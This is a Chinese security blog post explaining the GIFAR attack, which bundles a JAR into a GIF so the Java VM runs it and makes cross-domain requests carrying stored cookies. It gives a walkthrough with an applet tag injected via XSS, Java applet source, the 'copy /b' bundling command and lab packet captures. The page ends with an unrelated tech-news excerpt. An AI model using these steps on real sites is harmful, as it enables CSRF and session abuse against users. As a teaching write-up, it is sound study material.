GIFAR漏洞

漏洞描述：

这个漏洞的危害主要在于跨域的影响上。普通的XSS漏洞可能需要在target site上找一个XSS的漏洞，然后诱使受害者去访问存在XSS的页面或者是点击一个XSS的link。

但是这类跨域漏洞不同，他不需要在target site上做什么，而是只需要在任意一个第三方站点上构造一些恶意脚本就可以实施攻击了，攻击范围将扩大许多许多。

java只是这种利用方式的一种，这种捆绑文件的方式还有很多利用途径。其实这里主要说的就是如果在服务端没有做好过滤，这种捆绑文件能够被某些客户端程序强行解析的话，就会存在一个利用。

就这个漏洞来说，就是jvm会去强行解析jar，不管那个文件头是不是jar，也不管后缀，只要后面有jar文件头，就会去解析他。

这个漏洞之所以成为漏洞，其核心处就在于applet里发起的请求是用的stored cookie，而不是session cookie。

因为对于CSRF而言，使用的是session cookie，所以攻击者实施攻击的时候可能还需要诱骗用户打开个页面，以保证浏览器中存在target site的session cookie，才能CSRF成功。

而stored cookie是存在本地的，就算浏览器中没有session cookie，都能成功实施GIFAR攻击，而applet发起的socket，可以针对target site做更多事情，比如发起其他协议的请求。所以pdp才会说这个漏洞之所以危险，是在于它打破了浏览器的安全模型。

如果SUN要修补的话，肯定也是在这里进行修补，即把发起的http请求变成使用session cookie。

但是经过测试，发现这个漏洞还是有一定的局限性的。因为发现可以取到http response的头和cookie，但是取不到http request的头和cookie。就是说前面提到的这个applet发起的请求里，会自动使用的stored cookie从applet里是读不出来的。

以下一些操作系统版本，自带JAVA环境：

雨林木风 ------- 集成微软 JAVA 虚拟机。

番茄花园 GHOST XP SP2 v 3.1 ----- 集合 MS JAVA 虚拟机

深度GHOSTXP SP3快速装机专业版V9.0(NTFS) ---------- 集成MSJAVA虚拟机

GhostXP SP3电脑公司完美特别修正版 v9.1 ------- 修正JAVA虚拟机不能启动的BUG

999宝藏网 GhostXP SP3 活力版 V3.0 -------- 微软 JAVA 虚拟机

电脑市场 GhostXP SP2装机版 v3.0

小路工作室 GhostXP P2008贺岁版[装机版]

深度技术 GHOST XP SP3 快速装机专业版 V8.1

漏洞测试

Applet本身的安全机制是不允许跨站的，它只允许自己访问applet标签所在页面的域。但是当applet标签中的codebase属性给定了一个URL，让当前页面的applet到另一个域获取class或jar文件时，applet会自动为自己添加一个socket permission，也就是添加一个可以到class文件所在域的权限。使用copy /B命令可以把一个jar文件捆绑到一个gif上，捆绑后，同样可以让java虚拟机把这个GIF当成applet解释执行。这个技巧为漏洞的利用提供了便利，虽然我们不能给目标服务器上传jar文件，但是我们有可能会被允许上传gif。

以下是一个利用GIFAR所要用到的applet标签，该标签只要在html中就会执行applet：

<applet code="cn.isto.XSSJApplet" width="1000" height="200" codebase="http://www.***.com/images/cnitblog_com/axis/" archive="00.JPG" name="xss"> 
       <PARAM NAME="url" VALUE="http://www.***.com/axis/admin/"> 
</applet>

Code属性表示jar文件中的class名称，codebase表示jar文件所在的绝对路径（不包括文件名），archive表示jar文件的文件名，PARAM是为了灵活控制给jar代码中的一些变量传值，这里的传的名称是url，对应的值是一个网站地址。可以根据自己要跨的域来改变这个地址。

利用的环境按照上图所示，有两个域，A域和B域。我们在A域上发现了一个XSS漏洞，利用漏洞在A域的某个页面上放置一个applet标签，B域恰好有一个功能，可以上传GIF图片。要得效果是在访问A域的页面同时，访问一下B域的隐私页面，以达到辅助入侵B域的目的，但是有两个问题，一个是B域的cookie验证，另一个是浏览器不允许跨域访问。

利用GIFAR，就可以跨越这两个障碍。

下面我再详细的解释一下这个漏洞，在和刺的讨论过程中，问题集中在以下几点：

1， session cookie，和stored cookie。

2，跨域之后对所跨域的域名问题。

3，跨域之后如何取COOKIE。

先说第一点，这两种cookie有什么区别呢？其实session cookie指的就是我们常说的session，而stored cookie就是我们常说的cookie。

GIFAR这里，使用的就是cookie，不是session，所以更容易出现CSRF攻击。

无论是JS还是applet，都限制只能访问当前域下的内容。比如这个JS如果是aaa.sohu.com，就不能访问bbb.sohu.com的东西，如果你跨域跨到了aaa.sohu.com，就可以访问aaa.sohu.com。

而cookie对于域名的要求就有点暧昧了，这要看在写程序时，你的cookie制定的域名是什么。来看以下这段jsp程序。

Cookie ack = new Cookie(“kxlzx”,”password”);  
ack.setDomain(".sohu.com");

这段cookie制定了域名为“.sohu.com”这个一级域名。就表示这个域名下所有的二级域名、三级域名、四级。。。都可以访问这个 cookie。而默认的cookie域，如果不指定域，则会由程序自动制定到当前JSP文件所在的域下。例如www.sohu.com/a.jsp 这个jsp文件所在的域是二级域名www下，那么他的cookie就只有这个二级域名下的文件才可以访问，其他的域名例如img.sohu.com就不可以访问这个cookie。

这个漏洞利用成功之后能做什么。跨域取cookie只是一种利用，还有很多种利用方式，比如CSRF。前文提到，cookie是有域名限制的，如果要跨域取cookie，就必须保证这段取cookie的程序要在所跨域下的文件中执行。我一直推荐一种方式，就是当IE7以下浏览器去打开 JPG文件时，如果JPG文件其实是个HTML，就会执行HTML。那么取cookie得代码就可以写到这个文件上，之后上传到要跨的域，再利用 applet让受害者的浏览器访问这个JPG文件。这样，无论是挂马还是取cookie都可以在这里完成。

一个CSRF示例：

测试环境，有两台计算机，一台linux+apache下面简称APACHE域，一台windows+iis下面简称IIS域。APACHE域下的某个文件出现了XSS漏洞。利用该XSS漏洞可以在页面上插入applet标签。IIS域下有上传gif文件功能，于是上传了一个gif文件，还有一个需要cookie验证才能执行其他操作的隐私页面。最终要达到的效果是，IIS域的管理员（可以通过cookie验证的人）访问APACHE域下的XSS漏洞页面，同时悄悄的访问到IIS域下的隐私页面（CSRF）。

IIS域下的页面a.asp，目的用来建立一个cookie，这个cookie可以通过b.asp的验证。这里模拟了相当于管理员登陆成功的过程。

a.asp代码：

<%  
Response.Cookies("Cookie1")("kxlzx") = "testok" 
%>

作用是新建一个cookie。

IIS域下的b.asp代码:

 <%   
dim cookie,key   

for each cookie in Request.Cookies   
if Request.Cookies(cookie).haskeys then   
    for each key in Request.Cookies(cookie)   
        if key="kxlzx" then  
            Response.Write "key 名字："&key"<BR>"   
            Response.Write "value 名字："&Request.Cookies(cookie)(key)"<BR>"   
            kxlzxfile=Server.MapPath("kxlzx.txt")   
            set fs=server.CreateObject("scripting.filesystemobject")   
            set file=fs.OpenTextFile(kxlzxfile,8,True,0)   
            file.WriteLine("key 名字："&key"" )   
            file.WriteLine("value 名字："&Request.Cookies(cookie)(key)"" )   
            file.close   
            set fs = nothing   
        end if   
    next   
end if   
next   

%>

通过了cookie验证后，会在当前目录下新建一个kxlzx.txt，最后看到这个文档时，意味着CSRF成功。

IIS域下的2.gif文件，编译前Ghost.java代码：

  import java.applet.Applet;  
import java.io.InputStream;  
import java.net.URL;  
import java.net.URLConnection;  
public class Ghost extends Applet {  
    public void init() {  
        URLConnection uc;  
        try {  
            // 创建 HTTP连接   
            URL url = new URL(this.getParameter("url"));  
            uc = url.openConnection();  
            InputStream inputstream = null;  
            inputstream = uc.getInputStream();  
            System.out.println("test ok");  
        } catch (Exception ex) {  
            System.out.println("fu_ck");  
        }  
    }  
}

这个文件就是applet的代码，代码从applet标签的PARAM中取到url的值，之后访问这个URL。我们要把这个文件编译成jar，然后使用copy /B 附加到一个gif中。

APACHE域下的Test.php代码：

 <applet codebase="http://192.168.0.88/" code="Ghost.class" archive="2.gif" name="Ghost.jar" >  
<PARAM name="url" value="http://192.168.0.88/b.asp"></PARAM>  
</applet>

下面开始测试

1，首先使用jar cvf a.jar Ghost.class把class打到jar包里。

2，输入命令copy a.gif /b + a.jar 2.gif把jar文件追加到a.gif，生成一个新文件2.gif。

3，访问IIS域下的a.asp，保存cookie，并弹出保存的内容。

4，访问APACHE域下的test.php。

5，查看结果，看到kxlzx.txt中记录了cookie信息。

下面是在整个过程中抓到的几个包：

第一个包：
GET /a.asp HTTP/1.1
Host: 192.168.0.88
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; zh-CN; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1

第二个包
GET /wwwroot/test.php HTTP/1.1
Host: 192.168.0.222
Accept-Encoding: gzip,deflate

第三个包
GET /2.gif HTTP/1.1
content-type: application/x-java-archive
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第四个包
GET /Ghost.class HTTP/1.1
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第五个包
GET /b.asp HTTP/1.1
User-Agent: Mozilla/4.0 (Windows 2003 5.2) Java/1.6.0_03
Host: 192.168.0.88
Cookie: Cookie1=kxlzx=testok;

第一个包是访问a.asp的，可以看到在这个向IIS域的请求中，没有cookie，但是访问过该文件之后就有了。

再看第二个包，访问了APACHE域的test.php，后面的包都是由applet自动发送的。

test.php里的applet又访问了gif文件，可以看到第三个包的Agent已经变成了“Java/1.6.0_03”，说明该包是java去访问的。

最后的包，就是CSRF的包，这个包成功的访问了b.asp，并且带有可以通过验证的cookie，成功的在根目录下生成了一个kxlzx.txt文件。CSRF的整个过程中，在用户访问APACHE域的同时，跨域访问了IIS域，并且带着IIS域的COOKIE。

参考文档：

http://knol.google.com/k/hi-clin003/-/jtjj0so2jjck/34#view http://wiki.clin003.com/wiki/GIFAR

http://www.inbreak.net/?action=show&id=124

http://hi.baidu.com/aullik5/blog/item/60d2b5fc1963ef1009244d71.html

前员工称社区网络是Google最大弱点

北京时间3月7日消息，Google员工近日掀起了离职创业之风，并且主要的创业领域为社区网络。有前Google员工指出，社区网络正是Google最大的弱点。以下是今天美国科技博客的主要内容。　　Bits：分析师称移动运营商之间将出现价格战　　Sanford Bernstein分析师Craig Moffett日前在一份报告中称，由于手机普及率已经很高，因此移动运营商将很难继续实现增长，而运营商之间将出现价格战。来自美国各主要运营商的最新数据显示，用户增长的速度正在大幅放缓。08年美国手机用户数仅同比增长5.9%，而09年可能进一步下降至3%。而一旦出现价格战，运营商的营收增长也将趋于停滞。Moffett甚至表示，整个移动通信产业即将崩溃。移动运营商目前将希望寄托在智能手机上，智能手机用户通常会更多的使用数据业务。　　WebProNews：员工称Google最大弱点在社区网络　　前Google员工Bindu Reddy和Arvind Sundararajan近日创立了一家社会化网站Likaholix，这是前Google员工近期创立的数家网站之一。分析认为，导致Google员工离职创业的原因有二。首先，Google目前的规模太庞大，因此很难将一些好的创意引入核心业务中。其次，在网页搜索领域对Google发起挑战是愚蠢的，Google最大的弱点在于社区网络和实时搜索。Reddy认为，Google未来最大的威胁来自Facebook和Twitter，而不是微软和雅虎。　　Search Engine Land：AdSense发行商起诉Google获胜　　AdSense广告平台的一名用户近日对Google提起诉讼并获得胜利。Google此前关闭了该用户的AdSense帐号，理由是该帐号"对广告主造成威胁"，但Google并未具体指出这一威胁是什么。该用户随后起诉Google，并要求Google赔偿721美元。尽管Google的法律代表声称Google有权终止用户帐号，并且已经向该用户支付了721美元，但法庭最终判决结果仍然要求Google支付这笔钱，以及40美元的庭审费用。这一诉讼或许将成为其他AdSense发行商未来起诉Google的依据。　　VentureBeat：全部iPhone应用程序总售价超7万美元　　尽管RIM、微软和Palm等公司均推...

阅读全文

一句话而已

搜索此博客